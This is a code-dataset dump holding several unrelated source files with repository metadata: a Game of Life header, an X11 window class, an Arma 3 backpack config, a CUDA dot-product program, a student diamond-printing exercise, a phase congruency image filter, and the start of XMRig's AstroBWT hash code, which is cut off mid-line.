hexsha
stringlengths
40
40
size
int64
7
1.05M
ext
stringclasses
13 values
lang
stringclasses
1 value
max_stars_repo_path
stringlengths
4
269
max_stars_repo_name
stringlengths
5
109
max_stars_repo_head_hexsha
stringlengths
40
40
max_stars_repo_licenses
listlengths
1
9
max_stars_count
int64
1
191k
max_stars_repo_stars_event_min_datetime
stringlengths
24
24
max_stars_repo_stars_event_max_datetime
stringlengths
24
24
max_issues_repo_path
stringlengths
4
269
max_issues_repo_name
stringlengths
5
116
max_issues_repo_head_hexsha
stringlengths
40
40
max_issues_repo_licenses
listlengths
1
9
max_issues_count
int64
1
48.5k
max_issues_repo_issues_event_min_datetime
stringlengths
24
24
max_issues_repo_issues_event_max_datetime
stringlengths
24
24
max_forks_repo_path
stringlengths
4
269
max_forks_repo_name
stringlengths
5
116
max_forks_repo_head_hexsha
stringlengths
40
40
max_forks_repo_licenses
listlengths
1
9
max_forks_count
int64
1
105k
max_forks_repo_forks_event_min_datetime
stringlengths
24
24
max_forks_repo_forks_event_max_datetime
stringlengths
24
24
content
stringlengths
7
1.05M
avg_line_length
float64
1.21
330k
max_line_length
int64
6
990k
alphanum_fraction
float64
0.01
0.99
author_id
stringlengths
2
40
de39e298f8f3c1a4fbbcf8a676f6e1c75e8ca450
5,173
hpp
C++
game_of_life/game_state.hpp
lyrahgames/cpp-basics-game-of-life
380b1c017ceaf7115a3823d0fad62057ff64a981
[ "MIT" ]
null
null
null
game_of_life/game_state.hpp
lyrahgames/cpp-basics-game-of-life
380b1c017ceaf7115a3823d0fad62057ff64a981
[ "MIT" ]
null
null
null
game_of_life/game_state.hpp
lyrahgames/cpp-basics-game-of-life
380b1c017ceaf7115a3823d0fad62057ff64a981
[ "MIT" ]
null
null
null
#pragma once #include <algorithm> #include <vector> namespace game_of_life { struct game_state { // enum type : int { dead = 0, alive = 1 }; using type = int; game_state() = default; game_state(const game_state&) = default; game_state& operator=(const game_state&) = default; game_state(game_state&&) = default; game_state& operator=(game_state&&) = default; ~game_state() = default; game_state(int r, int c) : rows{r}, cols{c}, cells(r * c, 0), buffer(r * c) {} constexpr auto map(int i, int j) const noexcept { return i * cols + j; } constexpr auto periodic_map(int i, int j) const noexcept { return ((i + rows) % rows) * cols + ((j + cols) % cols); } auto& operator()(int i, int j) noexcept { return cells[map(i, j)]; } const auto& operator()(int i, int j) const noexcept { return cells[map(i, j)]; } auto& get(int i, int j) noexcept { return cells[periodic_map(i, j)]; } const auto& get(int i, int j) const noexcept { return cells[periodic_map(i, j)]; } void clear() noexcept { std::fill(cells.begin(), cells.end(), 0); } int rows{}; int cols{}; std::vector<type> cells{}; decltype(cells) buffer{}; }; inline void advance(game_state& game) noexcept { constexpr auto is_alive = [](game_state::type alive, int neighbors) { return ((!static_cast<bool>(alive) && (neighbors == 3)) || (static_cast<bool>(alive) && ((neighbors == 2) || (neighbors == 3)))) && !(static_cast<bool>(alive) && ((neighbors < 2) || (neighbors > 3))); }; // left-upper int neighbors = game.get(-1, -1) + game.get(-1, 0) + game.get(-1, 1) + game.get(0, -1) + game(0, 1) + game.get(1, -1) + game(1, 0) + game(1, 1); game.buffer[game.map(0, 0)] = is_alive(game(0, 0), neighbors); // right-upper neighbors = game.get(-1, -2) + game.get(-1, -1) + game.get(-1, 0) + game.get(0, -2) + game.get(0, 0) + game.get(1, -2) + game.get(1, -1) + game.get(1, 0); game.buffer[game.periodic_map(0, -1)] = is_alive(game.get(0, -1), neighbors); // left-lower neighbors = game.get(-2, -1) + game.get(-2, 0) + game.get(-2, 1) + game.get(-1, -1) + game.get(-1, 0) + game.get(0, -1) + game.get(0, 0) + game.get(0, 1); game.buffer[game.periodic_map(-1, 0)] = is_alive(game.get(-1, 0), neighbors); // right-lower neighbors = game.get(-2, -2) + game.get(-2, -1) + game.get(-2, 0) + game.get(-1, -2) + game.get(-1, 0) + game.get(0, -2) + game.get(0, -1) + game.get(0, 0); game.buffer[game.periodic_map(-1, -1)] = is_alive(game.get(-1, -1), neighbors); for (int i = 1; i < game.cols - 1; ++i) { { const int down = game.cols + i; const int index = i; const int up = (game.rows - 1) * game.cols + i; const int neighbors = game.cells[up - 1] + game.cells[up] + game.cells[up + 1] + game.cells[index - 1] + game.cells[index + 1] + game.cells[down - 1] + game.cells[down] + game.cells[down + 1]; game.buffer[index] = is_alive(game.cells[index], neighbors); } { const int down = i; const int index = (game.rows - 1) * game.cols + i; const int up = (game.rows - 2) * game.cols + i; const int neighbors = game.cells[up - 1] + game.cells[up] + game.cells[up + 1] + game.cells[index - 1] + game.cells[index + 1] + game.cells[down - 1] + game.cells[down] + game.cells[down + 1]; game.buffer[index] = is_alive(game.cells[index], neighbors); } } for (int j = 1; j < game.rows - 1; ++j) { { const int index = j * game.cols; const int neighbors = game.cells[j * game.cols - 1] + game.cells[(j - 1) * game.cols] + game.cells[(j - 1) * game.cols + 1] + game.cells[index + game.cols - 1] + game.cells[index + 1] + game.cells[(j + 2) * game.cols - 1] + game.cells[(j + 1) * game.cols] + game.cells[(j + 1) * game.cols + 1]; game.buffer[index] = is_alive(game.cells[index], neighbors); } { const int index = (j + 1) * game.cols - 1; const int neighbors = game.cells[j * game.cols - 2] + game.cells[j * game.cols - 1] + game.cells[(j - 1) * game.cols] + game.cells[index - 1] + game.cells[index - game.cols + 1] + game.cells[(j + 2) * game.cols - 2] + game.cells[(j + 2) * game.cols - 1] + game.cells[(j + 1) * game.cols]; game.buffer[index] = is_alive(game.cells[index], neighbors); } } for (int i = 1; i < game.rows - 1; ++i) { for (int j = 1; j < game.cols - 1; ++j) { const int neighbors = game(i - 1, j - 1) + game(i - 1, j) + game(i - 1, j + 1) + game(i, j - 1) + game(i, j + 1) + game(i + 1, j - 1) + game(i + 1, j) + game(i + 1, j + 1); game.buffer[game.map(i, j)] = is_alive(game(i, j), neighbors); } } swap(game.buffer, game.cells); } } // namespace game_of_life
41.055556
80
0.522521
lyrahgames
de3ad56f462be51279a3429a2fc808c49d08e857
3,087
cc
C++
window.cc
oliviazhouyumeng/groupProject
1fad68cb9ebc170329232b41dfd5d5f8de34ffdc
[ "MIT" ]
null
null
null
window.cc
oliviazhouyumeng/groupProject
1fad68cb9ebc170329232b41dfd5d5f8de34ffdc
[ "MIT" ]
null
null
null
window.cc
oliviazhouyumeng/groupProject
1fad68cb9ebc170329232b41dfd5d5f8de34ffdc
[ "MIT" ]
null
null
null
#include <X11/Xlib.h> #include <X11/Xutil.h> #include <iostream> #include <cstdlib> #include <string> #include <sstream> #include <unistd.h> #include "window.h" using namespace std; Xwindow::Xwindow(int width, int height): width(width), height(height) { d = XOpenDisplay(NULL); if (d == NULL) { cerr << "Cannot open display" << endl; exit(1); } s = DefaultScreen(d); w = XCreateSimpleWindow(d, RootWindow(d, s), 10, 10, width, height, 1, BlackPixel(d, s), WhitePixel(d, s)); XSelectInput(d, w, ExposureMask | KeyPressMask); XMapRaised(d, w); Pixmap pix = XCreatePixmap(d,w,width, height,DefaultDepth(d,DefaultScreen(d))); gc = XCreateGC(d, pix, 0,(XGCValues *)0); XFlush(d); XFlush(d); // Set up colours. XColor xcolour; Colormap cmap; char color_vals[10][10]={"white", "black", "red", "green", "blue", "cyan", "yellow", "magenta", "orange", "brown"}; cmap=DefaultColormap(d,DefaultScreen(d)); for(int i=0; i < 10; ++i) { if (!XParseColor(d,cmap,color_vals[i],&xcolour)) { cerr << "Bad colour: " << color_vals[i] << endl; } if (!XAllocColor(d,cmap,&xcolour)) { cerr << "Bad colour: " << color_vals[i] << endl; } colours[i]=xcolour.pixel; } XSetForeground(d,gc,colours[Black]); // Make window non-resizeable. XSizeHints hints; hints.flags = (USPosition | PSize | PMinSize | PMaxSize ); hints.height = hints.base_height = hints.min_height = hints.max_height = height; hints.width = hints.base_width = hints.min_width = hints.max_width = width; XSetNormalHints(d, w, &hints); XSynchronize(d,True); usleep(1000); } Xwindow::~Xwindow() { XFreeGC(d, gc); XCloseDisplay(d); } void Xwindow::fillRectangle(int x, int y, int width, int height, int colour) { XSetForeground(d, gc, colours[colour]); XFillRectangle(d, w, gc, x, y, width, height); XSetForeground(d, gc, colours[Black]); } void Xwindow::drawString(int x, int y, string msg, int colour) { XSetForeground(d, gc, colours[colour]); Font f = XLoadFont(d, "-adobe-times-medium-i-normal--0-0-100-100-p-0-iso8859-4"); XTextItem ti; ti.chars = const_cast<char*>(msg.c_str()); ti.nchars = msg.length(); ti.delta = 0; ti.font = f; XDrawText(d, w, gc, x, y, &ti, 1); XSetForeground(d, gc, colours[Black]); XFlush(d); } void Xwindow::drawBigString(int x, int y, string msg, int colour) { XSetForeground(d, gc, colours[colour]); // Font f = XLoadFont(d, "-*-helvetica-bold-r-normal--*-240-*-*-*-*-*"); ostringstream name; name << "-*-helvetica-bold-r-*-*-*-240-" << width/5 << "-" << height/5 << "-*-*-*-*"; XFontStruct * f = XLoadQueryFont(d, name.str().c_str()); XTextItem ti; ti.chars = const_cast<char*>(msg.c_str()); ti.nchars = msg.length(); ti.delta = 0; ti.font = f->fid; XDrawText(d, w, gc, x, y, &ti, 1); XSetForeground(d, gc, colours[Black]); XFlush(d); } void Xwindow::showAvailableFonts() { int count; char** fnts = XListFonts(d, "*", 10000, &count); for (int i = 0; i < count; ++i) cout << fnts[i] << endl; }
28.063636
117
0.622287
oliviazhouyumeng
de4b8434cb3eac3a607fc6cba057e474216de748
599
hpp
C++
addons/backpacks/bussole/CfgVehicles.hpp
MrDj200/task-force-arma-3-radio
21bb54d5d0e0b31b0522dc67e6923edb9ad85247
[ "RSA-MD" ]
300
2015-01-14T11:19:48.000Z
2022-01-18T19:46:55.000Z
addons/backpacks/bussole/CfgVehicles.hpp
MrDj200/task-force-arma-3-radio
21bb54d5d0e0b31b0522dc67e6923edb9ad85247
[ "RSA-MD" ]
742
2015-01-07T05:25:39.000Z
2022-03-15T17:06:34.000Z
addons/backpacks/bussole/CfgVehicles.hpp
MrDj200/task-force-arma-3-radio
21bb54d5d0e0b31b0522dc67e6923edb9ad85247
[ "RSA-MD" ]
280
2015-01-01T08:58:00.000Z
2022-03-23T12:37:38.000Z
class TFAR_bussole: TFAR_Bag_Base { scope = PUBLIC; scopeCurator = PUBLIC; author = "Raspu"; displayName = CSTRING(Bussole); descriptionShort = CSTRING(Bussole_Desc); picture = QPATHTOF(bussole\ui\bussole_icon.paa); maximumLoad = 30; mass = 120; model=QPATHTOF(models\tf_bussole); hiddenSelections[] = {"camo"}; hiddenSelectionsTextures[] = {""}; tf_encryptionCode = "tf_east_radio_code"; tf_dialog = "bussole_radio_dialog"; tf_subtype = "digital_lr"; }; HIDDEN_CLASS(tf_bussole : TFAR_bussole); //#Deprecated dummy class for backwards compat
33.277778
87
0.69783
MrDj200
de4dd61dc1638c358b5572200d923f6face332a6
2,012
cpp
C++
A3/code/version5/version5.cpp
XiaoLing12138/cppwork
ffad5db10d4e839c11275c1b63014d35651e2921
[ "MIT" ]
null
null
null
A3/code/version5/version5.cpp
XiaoLing12138/cppwork
ffad5db10d4e839c11275c1b63014d35651e2921
[ "MIT" ]
null
null
null
A3/code/version5/version5.cpp
XiaoLing12138/cppwork
ffad5db10d4e839c11275c1b63014d35651e2921
[ "MIT" ]
null
null
null
#include "cuda_runtime.h" #include "device_launch_parameters.h" #include <iostream> #include <cstdio> #include <fstream> #include <iomanip> #include <ctime> #include <chrono> #include <thread> #include <malloc.h> #include <stdlib.h> using namespace std; int n; __global__ void vec_dot(float* a, float* b, double* result) { result[0] += a[threadIdx.x] * b[threadIdx.x]; } int main() { ifstream input("in200000000.dat", ios::in | ios::binary); if (!input) { cout << "Error opening input file." << endl; return 0; } if (!(input.read((char*)&n, sizeof(int)))) { printf("You haven't input n, so we set n as 0!"); n = 0; } float* v1, * v2; double *result; cudaMallocManaged(&result, sizeof(double)); cudaMallocManaged(&v1, n * sizeof(float)); cudaMallocManaged(&v2, n * sizeof(float)); for (int i = 0; i < n; i++) { if (!(input.read((char*)&v1[i], sizeof(float)))) { printf("Your input for v1[%d] is somehow wrong, so we set it as 0!", i); v1[i] = 0; } } for (int i = 0; i < n; i++) { if (!(input.read((char*)&v2[i], sizeof(float)))) { printf("Your input for v2[%d] is somehow wrong, so we set it as 0!", i); v2[i] = 0; } } chrono::steady_clock::time_point start = chrono::steady_clock::now(); if (n >= 1000) { int i = 0; while (i <= n) { vec_dot << <i + 1, i + 1000 >> > (v1, v2, result); i += 1000; } } else { vec_dot << <1, n >> > (v1, v2, result); } cudaDeviceSynchronize(); chrono::steady_clock::time_point end = chrono::steady_clock::now(); printf("Cuda: %lf\n", result[0]); cout << "Self took " << chrono::duration_cast<chrono::milliseconds>(end - start).count() << "ms.\n"; cudaFree(v1); cudaFree(v2); cudaFree(result); input.close(); return 0; }
22.10989
84
0.524354
XiaoLing12138
de4e5ac779e45c7e26d9b10770a48b0768ec57c2
248
cpp
C++
2017/J2.cpp
areskng/CCC
9069356d74f256898427714940581601bbcfeda3
[ "MIT" ]
null
null
null
2017/J2.cpp
areskng/CCC
9069356d74f256898427714940581601bbcfeda3
[ "MIT" ]
null
null
null
2017/J2.cpp
areskng/CCC
9069356d74f256898427714940581601bbcfeda3
[ "MIT" ]
null
null
null
#include<iostream> using namespace std; int main(){ int N , K ; cin >> N >> K; int shiftySum = N; for (int i = 0; i < K ; i++){ N = N * 10; shiftySum += N; } cout << shiftySum << endl; return 0; }
12.4
33
0.447581
areskng
de51159260fdac889efbf043283d35fcb7663c9d
10,902
cpp
C++
PhaseCongruency/phase.cpp
RamilKadyrov/PhaseCongruency
381c84531d8220357494415cb22f6f34f90013f5
[ "Unlicense" ]
11
2018-08-04T00:57:14.000Z
2022-03-29T09:50:37.000Z
PhaseCongruency/phase.cpp
RamilKadyrov/PhaseCongruency
381c84531d8220357494415cb22f6f34f90013f5
[ "Unlicense" ]
null
null
null
PhaseCongruency/phase.cpp
RamilKadyrov/PhaseCongruency
381c84531d8220357494415cb22f6f34f90013f5
[ "Unlicense" ]
10
2019-04-11T13:52:43.000Z
2021-12-31T08:26:21.000Z
#include "phase.h" #include <opencv2/imgproc.hpp> #include <opencv2/highgui/highgui.hpp> #include <vector> #define _USE_MATH_DEFINES #include <math.h> using namespace cv; // Rearrange the quadrants of Fourier image so that the origin is at // the image center void shiftDFT(InputArray _src, OutputArray _dst) { Mat src = _src.getMat(); Size size = src.size(); _dst.create(size, src.type()); auto dst = _dst.getMat(); const int cx = size.width / 2; const int cy = size.height / 2; // image center Mat s1 = src(Rect(0, 0, cx, cy)); Mat s2 = src(Rect(cx, 0, cx, cy)); Mat s3 = src(Rect(cx, cy, cx, cy)); Mat s4 = src(Rect(0, cy, cx, cy)); Mat d1 = dst(Rect(0, 0, cx, cy)); Mat d2 = dst(Rect(cx, 0, cx, cy)); Mat d3 = dst(Rect(cx, cy, cx, cy)); Mat d4 = dst(Rect(0, cy, cx, cy)); Mat tmp; s3.copyTo(tmp); s1.copyTo(d3); tmp.copyTo(d1); s4.copyTo(tmp); s2.copyTo(d4); tmp.copyTo(d2); } #define MAT_TYPE CV_64FC1 #define MAT_TYPE_CNV CV_64F // Making a filter // src & dst arrays of equal size & type PhaseCongruency::PhaseCongruency(Size _size, size_t _nscale, size_t _norient) { size = _size; nscale = _nscale; norient = _norient; filter.resize(nscale * norient); const int dft_M = getOptimalDFTSize(_size.height); const int dft_N = getOptimalDFTSize(_size.width); Mat radius = Mat::zeros(dft_M, dft_N, MAT_TYPE); Mat matAr[2]; matAr[0] = Mat::zeros(dft_M, dft_N, MAT_TYPE); matAr[1] = Mat::zeros(dft_M, dft_N, MAT_TYPE); Mat lp = Mat::zeros(dft_M, dft_N, MAT_TYPE); Mat angular = Mat::zeros(dft_M, dft_N, MAT_TYPE); std::vector<Mat> gabor(nscale); //Matrix values contain *normalised* radius // values ranging from 0 at the centre to // 0.5 at the boundary. int r; const int dft_M_2 = dft_M / 2; const int dft_N_2 = dft_N / 2; if (dft_M > dft_N) r = dft_N_2; else r = dft_M_2; const double dr = 1.0 / static_cast<double>(r); for (int row = dft_M_2 - r; row < dft_M_2 + r; row++) { auto radius_row = radius.ptr<double>(row); for (int col = dft_N_2 - r; col < dft_N_2 + r; col++) { int m = (row - dft_M_2); int n = (col - dft_N_2); radius_row[col] = sqrt(static_cast<double>(m * m + n * n)) * dr; } } lp = radius * 2.5; pow(lp, 20.0, lp); lp += Scalar::all(1.0); radius.at<double>(dft_M_2, dft_N_2) = 1.0; // The following implements the log-gabor transfer function. double mt = 1.0f; for (int scale = 0; scale < nscale; scale++) { const double wavelength = pcc.minwavelength * mt; gabor[scale] = radius * wavelength; log(gabor[scale], gabor[scale]); pow(gabor[scale], 2.0, gabor[scale]); gabor[scale] *= pcc.sigma; exp(gabor[scale], gabor[scale]); gabor[scale].at<double>(dft_M_2, dft_N_2) = 0.0; divide(gabor[scale], lp, gabor[scale]); mt = mt * pcc.mult; } const double angle_const = static_cast<double>(M_PI) / static_cast<double>(norient); for (int ori = 0; ori < norient; ori++) { double angl = (double)ori * angle_const; //Now we calculate the angular component that controls the orientation selectivity of the filter. for (int i = 0; i < dft_M; i++) { auto angular_row = angular.ptr<double>(i); for (int j = 0; j < dft_N; j++) { double m = atan2(-((double)j / (double)dft_N - 0.5), (double)i / (double)dft_M - 0.5); double s = sin(m); double c = cos(m); m = s * cos(angl) - c * sin(angl); double n = c * cos(angl) + s * sin(angl); s = fabs(atan2(m, n)); angular_row[j] = (cos(__min(s * (double)norient * 0.5, M_PI)) + 1.0) * 0.5; } } for (int scale = 0; scale < nscale; scale++) { multiply(gabor[scale], angular, matAr[0]); //Product of the two components. merge(matAr, 2, filter[nscale * ori + scale]); }//scale }//orientation //Filter ready } void PhaseCongruency::setConst(PhaseCongruencyConst _pcc) { pcc = _pcc; } //Phase congruency calculation void PhaseCongruency::calc(InputArray _src, std::vector<cv::Mat> &_pc) { Mat src = _src.getMat(); CV_Assert(src.size() == size); const int width = size.width, height = size.height; Mat src64; src.convertTo(src64, MAT_TYPE_CNV, 1.0 / 255.0); const int dft_M_r = getOptimalDFTSize(src.rows) - src.rows; const int dft_N_c = getOptimalDFTSize(src.cols) - src.cols; _pc.resize(norient); std::vector<Mat> eo(nscale); Mat complex[2]; Mat sumAn; Mat sumRe; Mat sumIm; Mat maxAn; Mat xEnergy; Mat tmp; Mat tmp1; Mat tmp2; Mat energy = Mat::zeros(size, MAT_TYPE); //expand input image to optimal size Mat padded; copyMakeBorder(src64, padded, 0, dft_M_r, 0, dft_N_c, BORDER_CONSTANT, Scalar::all(0)); Mat planes[] = { Mat_<double>(padded), Mat::zeros(padded.size(), MAT_TYPE_CNV) }; Mat dft_A; merge(planes, 2, dft_A); // Add to the expanded another plane with zeros dft(dft_A, dft_A); // this way the result may fit in the source matrix shiftDFT(dft_A, dft_A); for (unsigned o = 0; o < norient; o++) { double noise = 0; for (unsigned scale = 0; scale < nscale; scale++) { Mat filtered; mulSpectrums(dft_A, filter[nscale * o + scale], filtered, 0); // Convolution dft(filtered, filtered, DFT_INVERSE); filtered(Rect(0, 0, width, height)).copyTo(eo[scale]); split(eo[scale], complex); Mat eo_mag; magnitude(complex[0], complex[1], eo_mag); if (scale == 0) { //here to do noise threshold calculation auto tau = mean(eo_mag); tau.val[0] = tau.val[0] / sqrt(log(4.0)); auto mt = 1.0 * pow(pcc.mult, nscale); auto totalTau = tau.val[0] * (1.0 - 1.0 / mt) / (1.0 - 1.0 / pcc.mult); auto m = totalTau * sqrt(M_PI / 2.0); auto n = totalTau * sqrt((4 - M_PI) / 2.0); noise = m + pcc.k * n; //xnoise = 0; //complex[0] -= xnoise; //max(complex[0], 0.0, complex[0]); eo_mag.copyTo(maxAn); eo_mag.copyTo(sumAn); complex[0].copyTo(sumRe); complex[1].copyTo(sumIm); } else { //complex[0] -= xnoise; //max(complex[0], 0.0, complex[0]); add(sumAn, eo_mag, sumAn); max(eo_mag, maxAn, maxAn); add(sumRe, complex[0], sumRe); add(sumIm, complex[1], sumIm); } } // next scale magnitude(sumRe, sumIm, xEnergy); xEnergy += pcc.epsilon; divide(sumIm, xEnergy, sumIm); divide(sumRe, xEnergy, sumRe); energy.setTo(0); for (int scale = 0; scale < nscale; scale++) { split(eo[scale], complex); multiply(complex[0], sumIm, tmp1); multiply(complex[1], sumRe, tmp2); absdiff(tmp1, tmp2, tmp); subtract(energy, tmp, energy); multiply(complex[0], sumRe, complex[0]); add(energy, complex[0], energy); multiply(complex[1], sumIm, complex[1]); add(energy, complex[1], energy); /*if (o == 0 && scale == 2) { energy -= noise / norient; max(energy, 0.0, energy); normalize(energy, tmp, 0, 1, NORM_MINMAX); imshow("energy", tmp); }*/ } //next scale energy -= Scalar::all(noise); // -noise max(energy, 0.0, energy); maxAn += pcc.epsilon; divide(sumAn, maxAn, tmp, -1.0 / static_cast<double>(nscale)); tmp += pcc.cutOff; tmp = tmp * pcc.g; exp(tmp, tmp); tmp += 1.0; // 1 / weight //PC multiply(tmp, sumAn, tmp); divide(energy, tmp, _pc[o]); }//orientation } //Build up covariance data for every point void PhaseCongruency::feature(std::vector<cv::Mat>& _pc, cv::OutputArray _edges, cv::OutputArray _corners) { _edges.create(size, CV_8UC1); _corners.create(size, CV_8UC1); auto edges = _edges.getMat(); auto corners = _corners.getMat(); Mat covx2 = Mat::zeros(size, MAT_TYPE); Mat covy2 = Mat::zeros(size, MAT_TYPE); Mat covxy = Mat::zeros(size, MAT_TYPE); Mat cos_pc, sin_pc, mul_pc; const double angle_const = M_PI / static_cast<double>(norient); for (unsigned o = 0; o < norient; o++) { auto angl = static_cast<double>(o) * angle_const; cos_pc = _pc[o] * cos(angl); sin_pc = _pc[o] * sin(angl); multiply(cos_pc, sin_pc, mul_pc); add(covxy, mul_pc, covxy); pow(cos_pc, 2, cos_pc); add(covx2, cos_pc, covx2); pow(sin_pc, 2, sin_pc); add(covy2, sin_pc, covy2); } // next orientation //Edges calculations covx2 *= 2.0 / static_cast<double>(norient); covy2 *= 2.0 / static_cast<double>(norient); covxy *= 4.0 / static_cast<double>(norient); Mat sub; subtract(covx2, covy2, sub); //denom += Scalar::all(epsilon); Mat denom; magnitude(sub, covxy, denom); // denom; Mat sum; add(covy2, covx2, sum); Mat minMoment, maxMoment; subtract(sum, denom, minMoment);//m = (covy2 + covx2 - denom) / 2; % ... and minimum moment add(sum, denom, maxMoment); //M = (covy2+covx2 + denom)/2; % Maximum moment maxMoment.convertTo(edges, CV_8U, 255); minMoment.convertTo(corners, CV_8U, 255); } //Build up covariance data for every point void PhaseCongruency::feature(InputArray _src, cv::OutputArray _edges, cv::OutputArray _corners) { std::vector<cv::Mat> pc; calc(_src, pc); feature(pc, _edges, _corners); } PhaseCongruencyConst::PhaseCongruencyConst() { sigma = -1.0 / (2.0 * log(0.65) * log(0.65)); } PhaseCongruencyConst::PhaseCongruencyConst(const PhaseCongruencyConst & _pcc) { sigma = _pcc.sigma; mult = _pcc.mult; minwavelength = _pcc.minwavelength; epsilon = _pcc.epsilon; cutOff = _pcc.cutOff; g = _pcc.g; k = _pcc.k; } PhaseCongruencyConst& PhaseCongruencyConst::operator=(const PhaseCongruencyConst & _pcc) { if (this == &_pcc) { return *this; } sigma = _pcc.sigma; mult = _pcc.mult; minwavelength = _pcc.minwavelength; epsilon = _pcc.epsilon; cutOff = _pcc.cutOff; g = _pcc.g; k = _pcc.k; return *this; }
30.623596
106
0.55953
RamilKadyrov
de54ac3b20092b165d30411661e8482be38a2b76
4,402
cpp
C++
Intro/program9/diamondJasonDowning.cpp
JasonD94/HighSchool
e37bb56b8149acc87cdb5e37ea619ab6db58fc29
[ "MIT" ]
null
null
null
Intro/program9/diamondJasonDowning.cpp
JasonD94/HighSchool
e37bb56b8149acc87cdb5e37ea619ab6db58fc29
[ "MIT" ]
null
null
null
Intro/program9/diamondJasonDowning.cpp
JasonD94/HighSchool
e37bb56b8149acc87cdb5e37ea619ab6db58fc29
[ "MIT" ]
null
null
null
#include <iostream.h> //in/out put #include <math.h> //math stuff like fabs (absolute value) main() { // So. Many. Comments... char a; //the char variable for the symbol int b,c,d,e,f; //variables for the for loops int x = 1; //variable for the do-while loop do{ //do while loop so it runs multiple times for multiple characters. cout<<"\nThis program accepts a character input and outputs a diamond. \n"; cout<<"Enter the character you want to use here. -> "; //intro prompt cin>>a; cout<<endl; f = 9; //f is set equal to 9 here, for use in the for loop for the stars for(b = 0; b < 9; b++) //run 9 times by counting up to 9. { for(c = 0; c < fabs(b - 4); c++) //print the number of spaces needed. { //does this by taking the absolute value of 4-b cout<<" "; //example: the first line b is equal to 0, and runs up to 8, or 9 times, for 9 lines. } //when b = 0, c will run for < fabs(0 - 4) or [-4] or 4 times. //it will run down, 3, 2, 1 and 0, then start going up again because of fabs (absolute value) //these next two if's control the stars and when they go up and when they go down. //they basically say if b = 0 to 4, then the first if will run //and if b is 5 to 8, then the second one will run. if(b >= 0 && b < 5) //this does the stars up to b = 4, or basically 1, 3, 5, 7 and 9 stars (b = 0,1,2,3,4) { //does this by multiplying b by 2, then adding 1 and putting that in the e variable e = 1 + (2 * b); //this simple equation will work up until b = 5, then it starts adding too many stars (11, 13, etc) } f--; //decreases for the stars. if(b >= 5) //this second if controls the second for loop when be is 5,6,7 or 8. { //the reason for this can be seen in the notes after this code. e = 1 + (2 * f); //basically the equation i thought up only worked until b is 9, after that it adds too many stars } //this if is the answer to that problem as it only runs when b is greater 4 (5 or higher). allowing me to //use a second variable that decreases each time. for(d = 0; d < e; d++) //this for loop does the number of stars { //the equations in the above if's are what makes it work cout<<a; } cout<<endl; //ends the line after the spaces and the stars outputs. } cout<<"\nTo continue, enter 1. To exit, enter 2. -> "; //simple prompt asking if the user wants to continue entering characters. cin>>x; }while(x==1); /* NOTES ssss* 4 spaces 1 stars sss*** 3 spaces 3 stars ss***** 2 spaces 5 stars s******* 1 spaces 7 stars ********* 0 spaces 9 stars s******* 1 spaces 7 stars ss***** 2 spaces 5 stars sss*** 3 spaces 3 stars ssss* 4 spaces 1 stars Spaces: 0 - 4 = -4 1 - 4 = -3 2 - 4 = -2 3 - 4 = -1 4 - 4 = 0 5 - 4 = 1 6 - 4 = 2 7 - 4 = 3 8 - 4 = 4 Stars: 2 x 0 = 0 + 1 = 1 2 x 1 = 2 + 1 = 3 2 x 2 = 4 + 1 = 5 2 x 3 = 6 + 1 = 7 2 x 4 = 8 + 1 = 9 2 x 5 = 10 + 1 = 11 hmm doesn't work past 9... perhaps another way? if's? 2 x 6 = 12 + 1 = 13 2 x 7 = 14 + 1 = 15 2 x 8 = 16 + 1 = 17 0 1 1 3 2 5 3 7 4 9 5 7 6 5 7 3 8 1 b f 0 8 1 7 2 6 3 5 4 4 5 3 6 2 7 1 8 0 TO DO: 1. Figure out for loops more. (CHECK) 2. Figure out how to get correct number of stars and spaces. (CHECK) */ return 0; }
34.124031
142
0.449796
JasonD94
de5665d9719557ebf23390bdc7d752e79ac983ef
12,381
cpp
C++
src/Native/libcryptonight/xmrig/crypto/astrobwt/AstroBWT.cpp
afiniel/miningcore
6fa7d3b1d6c85060984116d8161da0f5d384a70f
[ "MIT" ]
75
2021-12-08T11:33:26.000Z
2022-03-30T07:26:12.000Z
src/Native/libcryptonight/xmrig/crypto/astrobwt/AstroBWT.cpp
afiniel/miningcore
6fa7d3b1d6c85060984116d8161da0f5d384a70f
[ "MIT" ]
86
2021-12-08T14:13:56.000Z
2022-03-31T16:57:10.000Z
src/Native/libcryptonight/xmrig/crypto/astrobwt/AstroBWT.cpp
afiniel/miningcore
6fa7d3b1d6c85060984116d8161da0f5d384a70f
[ "MIT" ]
67
2021-12-07T21:44:12.000Z
2022-03-31T12:12:03.000Z
/* XMRig * Copyright (c) 2018 Lee Clagett <https://github.com/vtnerd> * Copyright (c) 2018-2019 tevador <tevador@gmail.com> * Copyright (c) 2000 Transmeta Corporation <https://github.com/intel/msr-tools> * Copyright (c) 2004-2008 H. Peter Anvin <https://github.com/intel/msr-tools> * Copyright (c) 2018-2021 SChernykh <https://github.com/SChernykh> * Copyright (c) 2016-2021 XMRig <https://github.com/xmrig>, <support@xmrig.com> * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <http://www.gnu.org/licenses/>. */ #include "AstroBWT.h" #include "backend/cpu/Cpu.h" #include "base/crypto/sha3.h" #include "base/tools/bswap_64.h" #include "crypto/cn/CryptoNight.h" #include <limits> constexpr int STAGE1_SIZE = 147253; constexpr int ALLOCATION_SIZE = (STAGE1_SIZE + 1048576) + (128 - (STAGE1_SIZE & 63)); constexpr int COUNTING_SORT_BITS = 10; constexpr int COUNTING_SORT_SIZE = 1 << COUNTING_SORT_BITS; static bool astrobwtInitialized = false; #ifdef ASTROBWT_AVX2 static bool hasAVX2 = false; extern "C" #ifndef _MSC_VER __attribute__((ms_abi)) #endif void SHA3_256_AVX2_ASM(const void* in, size_t inBytes, void* out); #endif #ifdef XMRIG_ARM extern "C" { #include "salsa20_ref/ecrypt-sync.h" } static void Salsa20_XORKeyStream(const void* key, void* output, size_t size) { uint8_t iv[8] = {}; ECRYPT_ctx ctx; ECRYPT_keysetup(&ctx, static_cast<const uint8_t*>(key), 256, 64); ECRYPT_ivsetup(&ctx, iv); ECRYPT_keystream_bytes(&ctx, static_cast<uint8_t*>(output), size); memset(static_cast<uint8_t*>(output) - 16, 0, 16); memset(static_cast<uint8_t*>(output) + size, 0, 16); } #else #include "Salsa20.hpp" static void Salsa20_XORKeyStream(const void* 